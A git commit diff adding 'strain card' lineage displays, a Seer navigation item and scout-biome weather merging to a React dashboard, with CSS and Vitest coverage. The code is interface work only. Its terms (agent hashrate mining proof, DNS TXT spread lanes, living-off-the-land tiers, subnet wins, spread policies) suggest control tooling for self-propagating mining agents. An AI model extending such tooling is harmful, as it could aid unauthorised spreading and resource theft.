Add scout constellation mode for APK venue persona packs.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
This commit is contained in:
AetherForge
2026-06-07 09:18:58 -07:00
parent 8b14582975
commit bbab38f8e1
60 changed files with 2610 additions and 43 deletions

View File

@@ -291,3 +291,56 @@
border: 1px solid rgba(255, 255, 255, 0.25);
flex-shrink: 0;
}
.access-depth-strain-cards {
display: flex;
flex-direction: column;
gap: 0.35rem;
margin-top: 0.35rem;
}
.access-depth-strain-card {
border: 1px solid rgba(255, 255, 255, 0.12);
border-left: 3px solid var(--strain-accent, #6a8fad);
border-radius: 4px;
padding: 0.35rem 0.45rem;
background: rgba(0, 0, 0, 0.2);
}
.access-depth-strain-card[data-strain] {
--strain-accent: #6a8fad;
}
.access-depth-strain-card-head {
display: flex;
align-items: center;
gap: 0.35rem;
font-size: 0.72rem;
}
.access-depth-strain-card-title {
flex: 1;
color: #e0e8f0;
text-transform: lowercase;
}
.access-depth-strain-play {
font-size: 0.65rem;
padding: 0.1rem 0.4rem;
border: 1px solid rgba(255, 255, 255, 0.2);
border-radius: 3px;
background: rgba(255, 255, 255, 0.06);
color: #c8e6ff;
cursor: pointer;
}
.access-depth-strain-play:disabled {
opacity: 0.45;
cursor: not-allowed;
}
.access-depth-strain-card-meta {
font-size: 0.65rem;
color: #98a8b8;
margin-top: 0.15rem;
}

View File

@@ -11,6 +11,7 @@ import {
parseAccessDepthDiagnostics,
parseAccessDepthServerPolicy,
} from '../../help/accessDepth';
import { api } from '../../api/client';
vi.mock('../../hooks/useWebSocket', () => ({
useWebSocket: () => ({ latestMessage: null }),
@@ -27,6 +28,8 @@ vi.mock('../../api/client', () => ({
},
},
}),
listStrainCards: vi.fn().mockResolvedValue([]),
playStrainCard: vi.fn().mockResolvedValue({ success: true }),
},
}));
@@ -228,6 +231,32 @@ describe('AccessDepthPanel', () => {
expect(screen.getByText(/parent 11112222/i)).toBeInTheDocument();
});
it('renders lineage strain card with play control', async () => {
vi.mocked(api.listStrainCards).mockResolvedValueOnce([
{
id: 'card-1',
root_agent_id: 'root',
source_agent_id: 'a1',
source_agent_name: 'Winner',
spread_strain: '#a1b2c3',
spread_lane: 'dns_txt',
persona: 'persuasive',
parents: [],
wins: ['container', 'wsl'],
losses: ['docker'],
subnets: ['10.0.0.x'],
erasure_recovery_rate: 1,
peak_hashrate: 800,
tier_order: ['container', 'wsl'],
tree_size: 2,
},
]);
renderPanel(mockAgent({ id: 'a1', status: 'online' }));
expect(await screen.findByText(/strain · persuasive/i)).toBeInTheDocument();
expect(screen.getByText(/2W · 1L · 1 subnets · erasure 100%/i)).toBeInTheDocument();
expect(screen.getByRole('button', { name: /play/i })).toBeInTheDocument();
});
it('renders clearance badge L0L4 with tooltip permissions', () => {
renderPanel(mockAgent({ clearance_level: 2 }));
const badge = screen.getByLabelText(/Clearance L2/i);

View File

@@ -13,7 +13,7 @@ import {
formatClearanceElevation,
} from '../../help/clearance';
import { useWebSocket } from '../../hooks/useWebSocket';
import type { Agent } from '../../types';
import type { Agent, StrainCard } from '../../types';
import { HelpTip } from '../HelpTip';
import JoinLaneBadge from './JoinLaneBadge';
import LotlTierBadge from './LotlTierBadge';
@@ -77,6 +77,8 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
const [policyLoaded, setPolicyLoaded] = useState(false);
const [serverPolicy, setServerPolicy] = useState(parseAccessDepthServerPolicy({}));
const [elevationFlash, setElevationFlash] = useState<string | null>(null);
const [strainCards, setStrainCards] = useState<StrainCard[]>([]);
const [strainPlayBusy, setStrainPlayBusy] = useState<string | null>(null);
const flashTimerRef = useRef<number | null>(null);
const clearanceLevel = agent.clearance_level ?? 1;
@@ -124,6 +126,44 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
};
}, []);
useEffect(() => {
let cancelled = false;
api
.listStrainCards(agent.id)
.then((cards) => {
if (!cancelled) setStrainCards(cards ?? []);
})
.catch(() => {
if (!cancelled) setStrainCards([]);
});
return () => {
cancelled = true;
};
}, [agent.id]);
useEffect(() => {
if (!latestMessage) return;
if (latestMessage.type === 'strain_card' || latestMessage.type === 'strain_card_played') {
const p = latestMessage.payload as { card?: StrainCard; agent_id?: string };
if (p.card && (p.card.source_agent_id === agent.id || p.card.root_agent_id === agent.id || p.agent_id === agent.id)) {
setStrainCards((prev) => {
const next = prev.filter((c) => c.id !== p.card!.id);
return [p.card!, ...next];
});
}
}
}, [latestMessage, agent.id]);
const playStrainCard = async (card: StrainCard) => {
if (strainPlayBusy) return;
setStrainPlayBusy(card.id);
try {
await api.playStrainCard({ agent_id: agent.id, card_id: card.id });
} finally {
setStrainPlayBusy(null);
}
};
const model = useMemo(
() => buildAccessDepthModel(agent, diagnostics, serverPolicy),
[agent, diagnostics, serverPolicy],
@@ -205,6 +245,45 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
) : null}
</div>
)}
{strainCards.length > 0 && (
<div className="access-depth-strain-cards">
{strainCards.slice(0, 2).map((card) => (
<div
key={card.id}
className="access-depth-strain-card"
data-strain={card.spread_strain?.replace(/^#/, '') ?? ''}
>
<div className="access-depth-strain-card-head">
{card.spread_strain ? (
<span
className="access-depth-strain-swatch"
style={{ backgroundColor: card.spread_strain }}
aria-hidden
/>
) : null}
<span className="access-depth-strain-card-title">
strain · {card.persona}
</span>
<button
type="button"
className="access-depth-strain-play"
disabled={agent.status !== 'online' || strainPlayBusy === card.id}
onClick={() => playStrainCard(card)}
title={`Play ${card.source_agent_name} lineage preset`}
>
{strainPlayBusy === card.id ? '…' : 'play'}
</button>
</div>
<div className="access-depth-strain-card-meta">
{card.wins.length}W · {card.losses.length}L · {card.subnets.length} subnets
{card.erasure_recovery_rate > 0
? ` · erasure ${Math.round(card.erasure_recovery_rate * 100)}%`
: ''}
</div>
</div>
))}
</div>
)}
{model.phenotypeSource && (
<div className="access-depth-phenotype">
phenotype cloned from <strong>{model.phenotypeSource}</strong>
@@ -216,6 +295,13 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
) : null}
</div>
)}
{serverPolicy.graft_enabled && (agent.graft_tier || agent.graft_source_strain) && (
<div className="access-depth-graft-note access-depth-muted">
genealogy graft pending · tier {agent.graft_tier}
{agent.graft_source_strain ? ` · strain ${agent.graft_source_strain}` : ''}
{' '}(applies on next spread)
</div>
)}
</div>
<div className="access-depth-section">

View File

@@ -12,6 +12,7 @@ import { SacredMotif } from '../Visual/sacredGeometry/motifs';
import SetupBanner from '../SetupBanner';
import { getSetupStatus } from '../../help/setupStatus';
import { resolvePageWeather } from '../../help/pageWeather';
import { mergeScoutBiomeWeather, type ScoutConstellationSnapshot } from '../../help/scoutBiomeWeather';
import { isDashboardRoute } from '../../help/routeEffects';
import { api } from '../../api/client';
import { usePresence } from '../../context/PresenceContext';
@@ -40,10 +41,11 @@ function operatorDeckId(pathname: string): string {
if (path.startsWith('/lotl-timeline') || path.startsWith('/onion')) return 'lotl-timeline';
if (path.startsWith('/roi')) return 'roi';
if (path.startsWith('/activity')) return 'activity';
if (path.startsWith('/seer')) return 'seer';
return 'dashboard';
}
const NAV = [
const NAV_BASE = [
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' },
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
{ to: '/activity', label: 'Activity Feed', icon: 'activity' },
@@ -57,6 +59,20 @@ const NAV = [
{ to: '/settings', label: 'Calibrate', icon: 'gear' },
] as const;
const SEER_NAV = { to: '/seer', label: 'Seer', icon: 'seer' } as const;
function buildNav(aiControlEnabled: boolean) {
if (!aiControlEnabled) {
return [...NAV_BASE];
}
const items = [...NAV_BASE];
const calibrateIdx = items.findIndex((i) => i.to === '/settings');
items.splice(calibrateIdx, 0, SEER_NAV);
return items;
}
const NAV = NAV_BASE;
const DOCS_HREF = '/docs/';
/** Primary tabs on mobile bottom bar — Deck, Crucible, Activity, ROI, Onion */
@@ -150,6 +166,14 @@ function NavIcon({ type }: { type: string }) {
<path d="M12 8v4" />
</svg>
);
case 'seer':
return (
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
<ellipse cx="12" cy="12" rx="9" ry="5" />
<circle cx="12" cy="12" r="2.5" fill="currentColor" strokeWidth="0" />
<path d="M4 12c2-3 5-4.5 8-4.5s6 1.5 8 4.5" strokeOpacity="0.45" />
</svg>
);
case 'docs':
return (
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
@@ -281,7 +305,19 @@ export default function Layout({ children }: LayoutProps) {
}, [moreOpen]);
const setupStatus = getSetupStatus(serverConfig, serverInfo);
const pageWeather = resolvePageWeather(location.pathname);
const { latestMessage } = useWebSocket();
const scoutBiome = useMemo(() => {
if (latestMessage?.type !== 'scout_constellations') return null;
return latestMessage.payload as ScoutConstellationSnapshot;
}, [latestMessage]);
const pageWeather = useMemo(() => {
const base = resolvePageWeather(location.pathname);
const path = location.pathname.split('?')[0].replace(/\/$/, '') || '/';
if (path === '/emberwake' || path === '/spread' || path === '/dashboard' || path === '/agents') {
return mergeScoutBiomeWeather(base, scoutBiome);
}
return base;
}, [location.pathname, scoutBiome]);
const showDeckEffects = isDashboardRoute(location.pathname);
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
const mobileShortLabel: Record<string, string> = {